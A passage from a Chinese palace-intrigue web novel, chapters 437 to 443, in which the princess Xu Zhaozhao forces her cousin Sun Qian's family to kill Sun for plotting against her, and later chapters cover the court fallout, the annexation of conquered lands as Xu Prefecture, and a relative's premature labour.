孙淮之看看母亲妹妹,再看看许昭昭,到底还是咽了口唾沫,求情道:“郡主,我妹妹知错了,您饶她一回吧。我们孙家保证,立马将她送得远远的,再也不回来了。” 许君安皱眉,从私心上,他是不愿意放过这个孙茜的。 但问题是,现在自己的长辈在这里求饶,这就等于是在给昭昭施压。 “昭昭,你不用管他们,怎么做决定,你说了算。就算是日后父亲回来责备,也是我力主的,与你无关!” 大哥就是大哥! 任何时候,都是你最可靠的后盾。 许昭昭心中感动,面上只是浅笑:“谢谢兄长愿意支持我。孙茜,你哭也没用。我只要你孙茜一条命,已经是格外开恩了。你们若是觉得我太狠心了,那也好办。” 许琳似乎是听到了一丝希望,满脸期待地看向她。 孙茜也不哭不闹了,泪眼模糊地看着许昭昭,只要能让她活着,让她做什么都可以! “此事我会命人送交官府查办。我不会插手,官府怎么判,那就怎么来,一切依我大兴律法,所以,你是死是活,都与我无关,这样,你们总不会觉得是我太狠心了吧?” 许琳和孙茜还没有反应过来,一旁的孙庆阳先道:“不可!不可见官呀!” 这等大事,谋害郡主,这不仅仅是孙茜一人死罪,整个孙府,都要受到牵连。 无论是他孙庆阳,还是孙淮之,谁也别想着再大展鸿图了,能留条命就不错了。 孙淮之显然也意识到了这一点。 这原本就是一个等级森严的社会,安乐郡主贵为从一品,孙茜只是一介民妇,胆敢谋害怀有身孕的郡主,九条命都不够官府砍的! 至此,许琳也总算是听明白了,许昭昭不愿意放过孙茜。 “许昭昭,你真就这么狠心吗?你们两个也是血脉相连呀!” 许昭昭突然暴起,直接一甩衣袖,茶盏飞起跌落,溅起的碎片,甚至还划伤了许琳的脸。 “你?” “我狠心?你们当初联合起来意图坏我名声,让我嫁不成谢铮,我饶过你们了!姜府饮宴,孙茜伙同姜宁意图害我被恶犬毁容,而她想要取而代之,嫁入谢家,我也饶过你们了! 上次孙茜夫婿全家被卷入庆王一案中,若非是我从中周旋,此刻你们都早已去见了阎王!你现在还敢说我狠心?若我真地狠心,早就将孙茜一剑杀之,何来后面这些糟心事!” 这是实话。 但是实话最伤人。 许琳完全不知道应该给出什么样的反应了。 而孙淮之也是愣愣地看向许昭昭,完全没想过,孙茜,或者说是孙家竟然已经给她带去了好几次的麻烦。 许昭昭深吸一口气,面色冷肃:“你们都走吧,明天早上,我若是收不到孙茜病亡的消息,看不到孙茜的尸体,那么,你们全家就准备好去京兆府为自己脱罪吧!” 孙庆阳还想要再求情,许昭昭无力一般地摆摆手。 紫苏立马道:“来人,送客!” 外面候着的几人进来,大门一开,态度肃穆。 许昭昭似乎是有些脱力,在紫苏的搀扶下歪到榻上去。 这在王若兰和许君安看来,就是孙茜伤透了许昭昭的心,硬逼着许昭昭做出这样的决定。 “昭昭,此事你做的没错,母亲一定站在你这边!” 第438章 我杀她全家都不过分! 与此同时,老夫人和于氏面色严肃,听完府医的话后,只觉得有一股子怒气直冲天灵盖儿! “你所言为真?” “小的不敢欺瞒老夫人。那两样物件儿的确都大有问题,幸好郡主警觉,并未第一时间佩戴,而是先让小的查验一番之后,这才再度收起来的。” “行了,此事你莫要再对旁人说,下去吧。” “是。” 于氏也没想到,这个孙茜竟然能有这么大的胆子。 “母亲,您说会不会是咱们弄错了?这孙茜好歹也是昭昭的表姐呀,何故如此歹毒?” 老夫人挑眉:“知人知面不知心呀,这个孙茜我还是有几分印象的,此女一看便知不是心思简单之人。锦绣园如何了?” 于氏立马回道:“锦绣园那边已经暂时解除封锁了,孙府和信国公府的人都离开了,不过据下人说,许夫人走时是怒气冲冲的。” 老夫人点点头,这就都对上了。 这个孙茜,胆子不是一般的大! “再让人去核实一下,罢了,还是你亲自走一遭吧。她封锁了锦绣园,必然是不想让咱们把事情闹大。但孙茜终归是她的表姐,难不成,要让昭昭背上一个无情无义的名声?” 于氏眼睛一亮:“是,儿媳明白了。” 对于于氏的到来,许昭昭并不意外。 很多事情,她并没有彻底地封死,就是因为她需要有人知道,也需要有人来代她为刀。 虽然她今天的话说得很霸气,也很冷漠,但如果孙茜真的不死,她还能真地去京兆府告吗? 就算是娘家支持,娘家的那位老夫人也不会同意的。 所以,此事于许琳而言,就像是在打一个时间差,也像是在赌自己会不会屈服于礼教之下。 毕竟这等涉及人命之事,许昭昭若是不听从长辈之言,定要被人诟病的。 许昭昭可以不在乎名声,但是她得在乎自己的母亲以及所有对她好的人。 所以,既然于氏愿意帮忙出这个头,那自然是再好不过。 许昭昭都不需要多说什么,只需将几纸供词送前一送,于氏便什么都明白了。 “岂有此理!这是置国家法度于何地?一个小小的民妇,胆敢来谋害郡主,昭昭,我看就是你平时对他们太仁慈了!” 许昭昭苦笑:“孙茜是姑姑膝下独女,自小娇惯,而姑姑又一直都是我祖母的心头宝。我今日能放放狠话,已很知足了。” 于氏明白她的苦衷,拍拍她的手:“你且好生养着,此事绝对不能就此罢休。我们谢家的人,岂能被一个小人给欺负了!” 于氏带走了孙茜的一份供词,然后先去向老夫人禀明事情经过,之后便亲自带人去孙府了。 许琳这边刚出护国公府的大门,就想着要去请娘家老夫人为孙茜作主,但是奈何被孙庆阳给压住了。 “你想清楚了,若是孙茜不死,死的就是我们所有人,你真以为这次许昭昭还会再给你留体面吗?” 许琳此时状若颠狂,什么也听不进去,她只知道自己的女儿要被人逼死了,无论如何,她都不能让女儿出一丁点的状况。 “不!我们茜儿不能出事,只要去求母亲,就一定有办法的。” 一行人折腾半天,最终还是让许琳在半路上跑下马车,然后带着两个婆子去信国公府门前求助了。 只是可惜,许琳的做法,王若兰早有预料。 她让人将许琳放进府门,却不肯再让她近前一步。 许君安和张氏二人挡在那里,脸上都是显而易见的厌恶之色。 “姑姑还是请回吧,祖母病着呢,刚服下药,不便见你。” “你们让开!你们就是想要看着我的茜儿去死,你们这两个无情无义的东西,滚开!” “你在骂谁!” 这一次,是李氏出来了。 许琳一看是她,倒是呆愣片刻,表情里有无助,还有愤怒,更有一丝乞求。 “二嫂,我求求你,让我去见见母亲吧。” “刚刚君安的话你没听到吗?母亲刚用过药,睡下了。你若是孝顺,当知道不该打扰,有什么话,明日过来再说吧。” “不行!不行!明日就晚了,我的茜儿就没命了。二嫂,我求求你,你通融通融,让我见见母亲吧。” “你女儿的命是命,我妹妹的命就不是命吗?我那未出世的侄儿就活该要被你女儿坑害吗?许琳,我许君安今日就把话放在这儿了,你就算是能请得动祖母又如何?若是孙茜不肯自裁,明日我亲自提刀去取她性命!” 李氏也没想到这个大侄子今天这般气恼,看来应该是真出大事了。 许琳也被其气势也震慑,嘴巴嚅动半天,却是没能发出一点声音来。 张氏亦是冷脸道:“姑姑请回吧,想留孙茜的命,也得看看她都做了些什么不要脑袋的事。你若是再这样吵闹下去,到时候事情传得沸沸扬扬,我保证孙茜到了地底下,也要被人骂一句蛇蝎心肠,罪有应得!” 这话,可是真真地拿刀在戳许琳心窝子了。 让人死了都不安生,许琳的确是受不了。 恰在此时,孙淮之带人追过来了,立马上前赔礼,然后强行将许琳带回去。 李氏舒出一口气:“你们没事吧?这么大的事情,也不知道去找我,你们两个毕竟是小辈,此时是在气头上,可以不管不顾,待冷静下来,少不得要有人拿此事说嘴。尤其是你,才当上国公世子,小心再被人参一本!” “是,二婶,侄儿今日也是被气狠了,敢对昭昭下毒手,我杀她全家都不过分!” 啧,这气性还没消下去呢。 李氏大概清楚是怎么一回事了,又劝两句后,便去找大嫂说话,至少能劝两句。 另一边,许琳被孙淮之的人强行带回府,一家子人看向仍然被捆着的孙茜,自然是面有不忍,但是同时,又有大大的怨气。 你说你惹谁不好,何故要去惹安乐郡主? 这可是陛下跟前的大红人呀! 许琳张牙舞爪一般地扑上来,护在孙茜身前,说什么也不许人碰她一下。 外面的管家急匆匆跑进来:“老爷,护国公府的管家来了,听说是奉了国公府老夫人的命令。” 第439章 孙茜之死引发的后续 孙庆阳心里咯噔一下子,就怕是事情再闹大了。 现在这种情形,不管怎么说都是亲戚之间的一些小摩擦,真要是再惊动了国公府老夫人,那他们孙家日后还如何有脸面与谢家攀亲戚? 原本就是拐着弯的亲戚,再加上许琳自己不走人缘,现在好了,弄成这样一副烂摊子,还得让他来收拾! 来的人是国公府老夫人身边的一位管事嬷嬷,与其同行的,还有于氏身边的人。 老夫人一年到头在外参加宴会的时候一般不会超过五次,但是每次出门都会带着身边的得力之人,这次来的,便正好是京城勋贵们都认得的一位。 “嬷嬷此行是?” “老夫人得知有人敢谋害我谢家子嗣,且对安乐郡主用一些不堪手段,大为震怒!我们老夫人说了,世子夫人念着与孙家是亲戚关系,不好将事情做得太绝,但是我们谢家可不是谁都能上来踩一脚的。 我们世子爷为朝廷效力,保家卫国,可是他的妻子却被人如此算计,知道后定然也是怒发冲冠。另外,这张供词,孙大人最好还是亲眼看看。 哦,我顺带再说一句,同样的供词,包括那两名丫环的供词,我们老夫人都已经从世子夫人那里讨要过去了。若此事不能令老夫人满意,她老人家明日便着诰命服,亲自进宫请陛下做主!” 老夫人这狠话放得更绝。 都不说去告官了,直接捅蛄到陛下跟前,那你孙家上下还能落着好? 天子一怒,那必然是要血流成河的。 况且,许昭昭可是刚刚被陛下晋封为安乐郡主的,你们孙家人上去就给人家下毒,这不是妥妥地在跟陛下做对吗? 不想活了! 这一次,就连许琳也听明白了。 谁也保不住孙茜,就算是许老夫人来了都没用,因为许昭昭已经是谢家妇,而且还怀着孩子,于情于理,谢家老夫人都更有资格为许昭昭出头。 孙庆阳晃了一下,险些立不住。 “还请嬷嬷带句话给老夫人,此事下官定然处置妥当,也定然会让老夫人和郡主满意。此事原就是这孽障惹出来的,我们孙家也没想过要饶她!明日一早,绝对不会出差错。” 这意思就是说,明天早上,孙府就会传出孙茜暴毙的消息,不会让老夫人失望。 几位嬷嬷话说完,又得了孙庆阳的承诺之后,便都冷着脸离开了。 只是老夫人身边的奴婢,但孙庆阳一介官员都不敢惹,足见等级之残忍! 这一晚,孙家哭嚎声不止,但是又能怎么办呢? 许琳护不住孙茜,其实她自己也知道。 就算是谢家老夫人不派人来,她也知道孙茜的命要保不住的。 可是谢家老夫人直接打发人来传话,还拿出了那样的一纸供词,孙家如果不能令其满意,那就是孙府上下所有人跟着填命来消弥老夫人的怒火了。 孙茜是被灌了一碗毒酒而亡的。 对外只说是她因为嫁错过一次人,又因容貌被毁,所以万念俱灰,自尽而亡。 不敢说是生病,因为今日的事情闹得太大。 而且许琳去信国公府求援时,也没少被人看热闹。 再加上谢老夫人手里头的那份证据,所以,直接说孙茜自尽,更合适。 是不是畏罪不重要,重要的是,不是有人逼着孙茜死,而是孙茜自己不想活了。 现在孙庆阳就担心,有人有看不惯许、谢两家,万一借此生事,只怕到时候整个孙家还是要被拖累进来。 所以,这一晚,他也同样是忧心忡忡,根本就睡不着。 总要想办法去圆各种可能性,万一真被捅到御前,他得想着该如何将所有责任都担下来,万万不能牵扯到许、谢两家。 真牵扯进来了,孙家必死无疑! 孙庆阳一大早就将自己的计划串连一遍,之后就亲自去了一趟护国公府和信国公府。 总要言词一致,免得再被人抓住把柄。 对于这个结果,许昭昭自然是很满意。 因为不仅除了一个令人厌恶的垃圾,顺带着还能让自己的死对头恶心几天。 因为孙茜的自尽,所以当初孙茜容貌被毁一事,又被人重新提及,自然而然地,便又波及到了姜宁以及姜家。 姜太傅年长,且身份尊贵,所以不会有人不开眼地到他跟前去讨没趣,但是姜延平姜延辉两兄弟,可就没有这么好命了。 同时,忠王府的姜宁这里,自然也不好受。 因为姜宁已经嫁到忠王府了,所以旧事重提,还牵涉到了一条人命,谁心里头也不可能没有疙瘩。 赵月对姜宁的要求已经放得极低了,只要不给忠王府惹事,随她怎么折腾。 这次能在银钱方面帮上王爷的忙,便能看出来此人还有些利用价值。 赵月虽然眼馋这些钱,但也知道这是王爷要用于大事的。 而且她的陪嫁不少,吃穿用度样样不愁也就是了,没必要再起旁的心思。 至于姜宁愿意为王爷鞍前马后的效力,那是她知趣。 孙茜容貌被毁,自然而然地便又引出一个人来。 当年受姜宁和孙茜连累的齐二小姐! 齐二小姐当初只是被吓得摔倒在地,衣衫虽有些许的不整,但并未肌肤外露,再加上后来姜家人处理得快,所以齐二小姐的名声并没有受损多严重,当然,少不得有人说几句酸话也没辙。 当年姜家给齐二小姐添妆一万贯钱,之后,齐二小姐便顺利得嫁入刘府。 好巧不巧的,齐二小姐所嫁的刘府,正好就是刘勃家。 齐二小姐嫁的是刘勃的兄长,是刘家嫡长子。 因为孙茜之死,这位曾经的齐二小姐,现在的刘家大少夫人,自然就闯入到了众人眼帘。 据传闻,这位大少夫人的日子并不好过,好像是所嫁夫婿更偏疼妾室,对正妻连基本的敬重都没有,甚至于刘大少的内宅都是由这位小妾管理,此事,不到一天的功夫,便已传遍整个京城。 在大兴,最重嫡庶。 而刘大少的行为,显然已经是达到了宠妾灭妻的地步,这直接就等于是在与礼法为敌,整个朝堂上,弹劾他以及其父刘安庆的折子,可以说是满天飞…… 第440章 坑了一个又一个 这日下朝,刘安庆气呼呼地回到家,直接就让人去把夫人以及长子等都叫过来。 内宅如此混乱,身为主母的夫人自然是跑不了责任的。 这一次,刘夫人也没想到,会因为儿子宠妾一事而闹得如此大。 齐二小姐现在已经是大少夫人了,被丫环扶进来的时候,她的脸色不太好,而且看上去身体孱弱,身上颇为素静,倒是刚刚跟着长子过来的小妾,打扮得倒是明艳。 “来人,将这个贱妾拉下去脱簪,之后重打二十大板!” 刘大少还不知道发生了什么事,他如今正在国子监读书,刚刚经过考核,若是一切顺利,他就可以入朝为官了。 可这个时候,父亲却要重惩他的小妾,这叫什么事? “慢着,父亲,您这是何故呀?” 刘夫人也是一脸不解:“老爷,什么事竟惹得您如此动怒?您先消消气,有什么话慢慢说。” 有他母子二人你一言我一语的,自然也就将那个小妾晾在一旁了。 刘安庆见此,更是气不打一处来。 “怎么,老爷的话你们都不听了?这个家到底谁才是一家之主,你们是不是都忘了!” 老爷一发威,所有人都不敢再怠慢,立马拖着那小妾就下去了。 刘大少还要再拦,却被刘安庆一脚踢翻在地。 “没用的东西!宠妾灭妻?好呀,如今事情都闹大了,满朝文武都知道我刘安庆生了一个什么糊涂东西!放着好好的官家千金不知道珍惜,却偏宠着一个下贱之人,你简直就是丢尽了我刘家的脸面!” 一番话,倒是让刘夫人和齐二小姐都有了反应。 刘大少此时也意识到,可能真地出事了。 “父亲,儿子从来不曾宠妾灭妻,从未!” “哼!这些话你不如到外面去说说,看看是否有人信你?现在连陛下都知道你是一个嫡庶不分的混账东西了,你觉得你还能顺利入朝为官?” 这下子,刘夫人也不淡定了。 刘勃已经被强行送走,刘夫人一直都把这个嫡长子视为自己的骄傲,谁知道竟然会发生这样的事? 也怪她之前太过宠爱这个长子,从而让他失了分寸。 外面被打的那位则是叫得凄惨,倒是给这屋里添了几分背景音乐似的。 刘安庆心头烦闷:“捂上她的嘴,再喊一声,直接打死不论!” 果然,之后外面就听不到惨叫声了。 那小妾原本就是想要引得大少心疼,谁知道会迎来这样一句? 看着这样的婆家人,齐二小姐只是微微冷笑,然后以身体不适为由,直接告退了。 就冲着儿媳这般的态度,刘安庆便什么都明白了。 齐家虽然不比从前了,但也是官宦之家,岂能容得自己家女儿被人这般苛待? 这已经不是苛待,而是折辱了! “将那个小妾即刻发卖出去,越远越好。你如果不想毁了这个孽障的前程,就该知道怎么做。” “是,妾明白了。” 刘夫人知道,这个时候,小妾若是死了,才更麻烦,直接发卖出去,才能让人看到刘家处置这贱妾的态度,也能表明,他们刘家是遵守礼法的。 刘大少平时再怎么偏宠一个女子,倒也不会为了一个小妾而与长辈撕破脸的,他又不是没脑子! 女人嘛,随时都可以有。 而且打死这个,缓一缓之后,他还能再纳一个。 但是眼下这困境,还是得想法子解决了才是。 但是当天下午,齐家就派人来了,只说是听闻姑奶奶病了,所以特意过来探望,之后又提出来带她回娘家调养。 这个空当,刘家如何敢让他们把人接走? 好话说了一箩筐,最后刘夫人又一再表示会好好待儿媳,甚至还直接吩咐人送来了不少补品,这才算完。 但是今天拒绝了,谁能保证齐家明天、后天不会再派人来接? 所以,儿媳的态度才是最重要的。 但是儿子已经将人给伤成这样了,岂是三言两语便能补救的? 刘家因此而乱成一锅粥,姜家也再次被推至风口浪尖。 就因为外面有人传,齐二小姐之所以在夫家过得不顺,就是因为姜家那日的宴会上之事,有人故意在外散布谣言,说齐二小姐大庭广众之下衣衫不整,从而惹恼了刘大少,这才不得其敬重。 这下子,刘家倒是不担心名声了,但是风险却转移到了姜家。 这可是真热闹了。 许昭昭也没想到,只是死一个孙茜,能让京城勋贵圈子里引起这么大的动荡。 齐家屡次上门,刘家好话说尽,但最终还是没能防住,齐二小姐自己生出了离开的心思,刘家又如何拦得住? 她这一走,便等于是坐实了刘家待她不好,毫无意外的,刘大少今年的考核虽然过了,但是任命书却被拦下,直接换人。 至于刘大少,暂且在家赋闲吧。 考核完毕,已经不可以再继续去国子监读书了,但是又没能得到朝廷的官职任命,所以,他往后要何去何从? 而姜家,也因为当年的旧事闹大,姜愿的婚事再次受挫。 姜愿的母亲宋氏,抱着她,母女二人哭得不能自已,又能如何呢? 姜延辉也没想到,过去几年的事了,竟然会再次断了自己女儿的姻缘。 姜愿都要绝望了,这是第几次了? 她都多大了呀! 到现在连婚事都不曾定下,难不成真地要熬成老姑娘,然后再嫁给别人做续弦吗? 当然,就冲着姜愿的家世,想娶她进门的人不在少数,但大多都是寒门出身,再不然就是小官之家,姜延辉和宋氏又如何能看得上? 好不容易找到一个家世相当的人家,对方还是嫡长子,日后女儿嫁过去地位也必然不低。 可是现在被这么一闹,婚事又黄了。 人家就怕是娶回去如同姜妩或者是姜宁一样,那都不是什么好名声呀。 姜宁是怎么成为忠王府孺人的? 真以为大家忘性都那么大呢! 姜愿哭完之后,肿着眼睛,生无可恋道:“母亲,实在不成,您就送我去庵堂吧,免得出门便被人笑话是个老姑娘。” 第441章 第一批战利品 这次因为许州的建立,是许多文臣武将的机会,就连一向不怎么受重视的宋将军家的大郎也终于找到一个可以外出历练的机会。 许州虽然是在我大兴境内了,但还是需要驻兵的。 宋家大郎得了一个不算太高的武职,乐呵呵地回去收拾行囊准备出发。 朝廷这次选派的官员,如果单从年龄上来看,四十岁往上的,不过两人,三十岁往上的,有十余人,再其它的,都是三十岁之下。 当然,对于地方小吏,到地方之后再选拔任用便是。 许昭昭和许君安、谢啸成联手,顺利地安插过去不少人。 有些人是直接从京城调任,有些则是从地方上调任,还有的则是直接到地方上再选拔。 许昭昭这次是真真切切地为了家族而谋求到巨大利益。 不仅仅是人手的安排,更有产业的安置。 许州初立,那边又有着大片的广褒草原,不适合种庄稼,所以,陛下和顾东阳商量之后,就决定出售一部分的土地。 其实就是草原,可以当牧场用。 这对于许昭昭而言,自然是一件大好事。 二话不说,大手一挥,直接拿下两大片的牧场。 这两个小国被合并为许州,除了原住民之外,可是还要迁移过去部分的罪民,这不就是机会了嘛! 有些世家高门们看不上这些草原,除了养牛马,还能干啥? 可很多武将反应得倒是特别快! 对呀,可以养马呀! 所以,在很多人愣怔不足一日之后,这关于草原牧场的事情自然就火爆起来。 但是为时已晚,许昭昭已经先人一步拿下两座大牧场,许君安也买下一处,如此一来,能排得上号的牧场,已经被分走了三分之一。 至于一些小牧场,许昭昭又特意安排人购置了两处,小牧场,最多就是能养上百头牛马,这个规模的确是太小了。 但是许昭昭不嫌弃呀! 而且买的小牧场正好挨着她的大牧场,这不就好办了吗? 许昭昭直接买下两处牧场,这样的大手笔,自然是引得不少人羡慕,可羡慕归羡慕,主要是他们拿不出那么多钱来呀。 就算是许昭昭不买,绝大多数的人也是买不起的。 最主要的是,牧场也需要人经营管理呀,这么大老远的,谁去? 但是对于许昭昭而言,就没有这个困扰了。 因为她父亲和男人都在那边儿呢,买几个听话老实的管事,还不容易? 而且,许翰和谢铮早就收到了许昭昭的信,所以各自买下来大批的奴隶,以后这牧场的活,就有人干了,到时候再辅以大兴迁移过去的罪民,足够! 正月底,第一批战利品被押送回京。 除了上千名的奴隶之外,还有牛羊无数,马匹超过五百,更有金银珠宝若干。 这些,可都是要归入国库的。 至于这些奴隶的处置,自然就是直接发卖,然后将收入归库即可。 这么多的牛羊,永安帝自然是乐得合不拢嘴,他也大方,直接给这次立了功的所有文臣武将家里头都赏下去牛羊、马匹,这样大方的帝王,自然又再次拉拢了人心。 如果不是因为还要留一批马在许州,估计谢铮他们会弄回来更多。 再说了,这才是第一批,按奏折上所说,第二批现在已经在路上了,估计再有半个多月,也就能到了。 所以说为什么有些帝王或者是武将愿意打仗呢! 这一打仗,钱不就来了吗? 打仗看似劳民伤财,但如果打赢了呢? 这些牛马、奴隶才是小头,真正的大头,是那么大一片的草原呀! 以后,大兴等于在东北方向又多了一道屏障,按许翰在折子中所写,那里地势良好,已经将最好的地方预留出来,可以由朝廷专门在此训练骑兵,这等于是大兴的骑兵供给站呀! 所以,这一次往那边派过去的武将,以年轻人居多,主要就是让他们到了那边再练练,无论是严寒的气候,还是马术、战术,因为有了这辽阔的草原,他们练兵就更能撒得开了。 许昭昭购入两大片牧场,其中一个就是专门养马,养战马,和朝廷做生意。 还有一处,就是以饲养牛羊、兔子等为主。 除此之外,草原也并非是一点儿粮食不能种,但是说实话,能种的品种真不多,而且收成也会差很多。 所以,许昭昭命人将自己改良过的高梁种子送去许州,同时,又让人送过去好些个猪苗,当然,负责养猪的小能手也得带过去几个人。 只吃牛羊肉,也会腻的。 养养猪,养养兔子、鸡,都行。 而且许昭昭还命人带过去了一些生长期短的蔬菜种子,比如说有的青菜它从发芽到最后能吃,估计只需要二十多天,当然,这是许昭昭改良过后的效果。 草原上人们缺的,就是谷物和蔬菜,所以,草原人会特别喜欢中原的茶叶,因为这样可以帮助他们消食。 有了自己的牧场,就等于自己在那边有根据地了,所以许昭昭手底下以后的商队,自然就有了落脚点,而且还相当于是地头蛇的存在,那么买卖自然就好做,银钱不得哗哗地来? 这两处牧场,其中一处是以谢铮的名义买的,谢啸林没跟风,他就安静地守着自己那一亩三分地,看着两个孩子折腾就行。 许昭昭自己的牧场,不会用谢家人。 但是谢铮名下的牧场,自然是得先挑着谢家人用。 当然,还有为了谢家出生入死的那些护卫、前护卫及家眷等等。 总之,这次的大手笔,一下子就让谢氏族内二十余名赋闲在家的既无功名,也无才学的子弟找到了谋生之路。 说起来也是为了家族做贡献,所以这些人可是积极得很。 身为谢家女婿的李顺,自然也看到了许昭昭的大手笔,更明白了这位安乐郡主的才能,绝对不亚于那些朝堂上的智臣。 若非是生为了女儿身,就凭许昭昭这一次又一次的布局,绝对能成为顶级谋士! 李顺叹气,还好,他投诚得早呀! 第442章 打得太快了 李顺也看出来了,这次的许州被纳入大兴版图,从而也导致了朝堂需要大量的优秀储备人才。 别的不说,室韦和靺鞨能被合并为一州,其它地方就不能吗? 而且,当今陛下正值盛年,雄才大略,那是从来都不缺的。 更绝的是,因为许翰打的这一仗,原本就一直对大兴俯首称臣的粟末这次更老实了,听闻室韦和靺鞨直接被纳入大兴版图,并且改为许州之后,他们的王十分痛快地递上降书,也力求成为大兴的一分子。 这是连国都不要了,什么尊贵的王位也不要了,只求大兴能留他们一条活路呀。 啧,这一仗,真是打出了大兴的威风,也把一些小国给打老实了。 至于粟末,则是直接划归为大兴的练兵场,所有粟末人迁移至许州谋生,至于前任的粟末王,则是被召入京中,封了一个爵位,可以在京城衣食无忧的度日。 粟末被改为都护府,那么一大片地,就专门用来养兵了。 正好,这里若是驻扎十万兵,那么若是许州外围有难,这里也能迅速支援,同时,还能威慑高丽,一举数得! 陆晋对于许翰的打法,倒是十分认同。 他们不少武将都围着舆图说着自己的想法,如果换成了他们会怎么打,时间线上会拉长还是缩短,伤亡是增加还是减少等等。 但是算了一圈,都没有人发现自己的打法能更优胜于许翰。 而陆晋直接指出了关键点。 “打前锋的是谢铮和许君锋呀!这二人,一个是许木头的亲儿子,一个是许木头唯一的女婿,他们二人又曾数次立功,威名赫赫,有他们打最难的仗,足以带动起全军的士气。” 这一点,所有武将都认同。 主帅的亲儿子亲女婿打前锋,自然会鼓舞手下的将士,哪怕是烧火做饭的伙夫,估计都能找着锅当盾牌到战场上去杀敌。 这就是本事呀! 许翰敢这样用,关键是那两个小将自己也争气呀! 尤其是谢铮,当初打北边儿的时候,不就是他一个人灭了好几个小部落? 到现在,人家都恨得他牙痒痒。 如果说许君锋就是单纯的勇猛且身手利落,那么谢铮就属于有勇有谋的那种了。 所以,不管怎么说,一个家族的兴盛,还得是小辈们自己争气才行呀! 看看老宋家,现在能用的就一个嫡长子,而且这次也只能是分配到一个小角色,但这他就已经很知足了。 等到大家伙各自散了,崔玄明慢悠悠地晃到了陆晋跟前:“晚上一起喝点儿?” 陆晋哈哈一笑:“喝点儿!” 晚上,崔玄明、陆晋、曲世绩、李章平等几位大将军一起凑着喝酒说话。 “你们说,这次北边儿算不算就是彻底地平定了?” 正北方面已经打完了,东北方向,又让许翰这老小子一仗给打没了,所以,整体来看,北方已经没有什么威胁了。 至于高丽,眼下没打算动他,而且就高丽小国,他们也不放在眼里。 然后就是吐蕃了。 这个比较难,所以一时半会儿,陛下应该不想与吐蕃为敌,吐蕃的兵力还是很强的。 再就是西突厥和南六诏。 目前来看,南六诏还算是安分,但是西突厥诸国可不安生,又因为小国小部落多,所以他们自己之间也有纷争,但是时常侵扰大兴边关这也是事实。 所以,后面如果再打仗,西突厥这边倒是有可能。 而且西突厥可太大了,大大小小几十个部落,就算是有一个西突厥王庭,也未必真地就能让所有人臣服。 而且,突厥也是草原上的国家,缺粮、缺茶叶,这才是他们侵扰边关的根本理由。 “有些话不能说,但咱们可以都督促自己家的小辈们,勤练武,就算是不能练武的,也得把书读好,你看这次陛下派出去了多少文臣武将?这以后都是机会呀!” 打下来的江山,自然是要由大兴的臣子去治理,难不成让他们小国小邦的人自己治理吗? 那还干啥费那事打下来? “其实吧,也就是许木头打得太快了,再打慢一点儿,我估计室韦和靺鞨都会递降书,到时候兴许就是称臣纳贡,应该就没了许州这么一回事。” 陆晋点点头:“李贤弟说的有道理呀,还是许翰打得太快了。不过说正经的,要我说,非我族类,其心必异,让他们称臣纳贡,真不如直接就灭了丫的,然后成为咱们自己的地盘儿,养干啥干啥,这才痛快!” 崔玄明也是频频点头:“不错。就好比现在的粟末,直接就成了咱们大兴的练兵场,而且在许州,也可以操练咱们的骑兵,甚至许翰还专门上了折子,就是要多训练几支强悍的骑兵,人数也不必太多,就是专门擅长打突袭的这种,在草原上那嘎嘎好使!” 曲世绩一脸嫌弃:“你这是哪儿的口音都出来了?” “你管我呢!反正这次没打成仗,我心里头不舒坦,再有下回,说什么也得有我们老崔家一份儿。而且我也看出来了,就许木头这个打法,估计后头陛下不能再用他。” “为啥?”陆晋觉得这个可能性不大,因为许翰打仗是真的猛呀! “你都把人打灭国了,咱们自己家还有这么多地没人种呢,咋整?” 崔玄明这口音更怪了,像是刚从北边儿打完仗回来。 所有人面面相觑,好像还挺有道理的。 打仗的根本目的是为了保护自己的国土和百姓,但是如果直接把对方打灭国了,好像少一个纳贡的好处了。 曲世绩觉得此言有理:“这次是因为正好那边的地理位置重要,而且我们早晚要和高丽打上一仗,那里有我们自己的练兵场,而且后续支援会很快,这一点,是必须的,日后我们与高丽对上,优势在我。所以,这一次打这么快,陛下才会如此高兴。” 崔玄明也觉得有理。 主要是那边还有一个高丽对着我大兴虎视眈眈呢,直接把这几个小国弄成自己的练兵场,足以让高丽掂量一下自己的能力了。 李章平沉默好一会儿才道:“但是如果打突厥,我觉得还是许将军的打法更占优势。” 第443章 早产 二月初,李明雅在见完自己的娘家人后,便突然腹痛引发早产。 好在王若兰早有准备,所以无论是产房还是产婆都是现成的,不至于抓瞎。 王若兰到的时候,李明雅的母亲季氏已是慌乱得手足无措,脸色苍白,她身后站着的两位女眷瞧着也都面色不佳。 “怎么回事?” 伺候在侧的丫环不敢隐瞒,将事情一五一十地都说了。 原来是季氏过来看望女儿,带了不少的补品,只盼着女儿有一举得男,这样日后在许家也能站稳脚跟,可是她没想到,李明淑却说看着李明雅的腹部,更像是女儿。 这原本还不至于让李明雅早产,可是后面说着说着,便不自觉提到了纳妾等话题,李明雅原本就因为自己是妯娌几个中出身最低的而有几分自卑,现在又被李明淑这么一说,越发觉得自己不中用,这想的多了,自然就容易出事。 王若兰是李明雅的婆母,自她怀孕之后,一直照顾有加,谁能想到,娘家人来探望,还能导致了李明雅的早产。 李明淑见国公夫人看自己眼神不善,连忙解释:“伯母,并非是晚辈故意如此,刚刚也只是话赶话而已。” 王若兰不傻,这个李明淑为什么会说这些话,无非就是见不得李明雅好罢了! “快去请大夫在这里候着,另外可派人去公廨通知三公子了?” “回夫人,已经有人去通知三公子了,应该很快就能回来。” “拿上我的贴子,去请太医过来。” “是,夫人。” 屋内李明雅的痛若呻吟声传出来,王若兰心里也不好受。 她有三个儿媳妇,每一个生产时基本上都算顺利,不像有的人家,生孩子会折了产妇。 但李明雅这声音,还是让王若兰有几分害怕。 “去护国公府,找芍药或者是徐嬷嬷,若是郡主无恙,便请她来一趟,若是郡主身子也不爽利,便不必惊扰她。” “是,夫人。” 许昭昭的身体可是好得很,这会儿正跟几个丫头玩纸牌呢。 “你说我三嫂早产了?” “是,听闻三少夫人喊腹痛时,李夫人以及李家两位庶小姐都在场。” “行了,你先去回禀母亲,就说我无恙,马上就到。” “是,郡主。” 许昭昭换了身衣裳,她倒是不怎么着急,从时间上来推算,就算是难产,也不至于现在就出事。 但是,这里头似乎是透着几分古怪。 好端端的,真只是几句话就让三嫂腹痛早产? 怎么想都不太对劲。 很快,许昭昭到了信国公府,此时的李明雅还在产房里,按府上的说法,进产房到现在也已经快两个时辰了。 许君霆也没想到早上他出门时媳妇还好好的,这半晌就出现意外了。 可面对岳母,他又不能说重话,只能是自己焦急地来回转。 太医也给把了脉,确定是动了胎气,但是现在孩子自己没有往下走的迹象,所以李明雅才会这样痛苦。 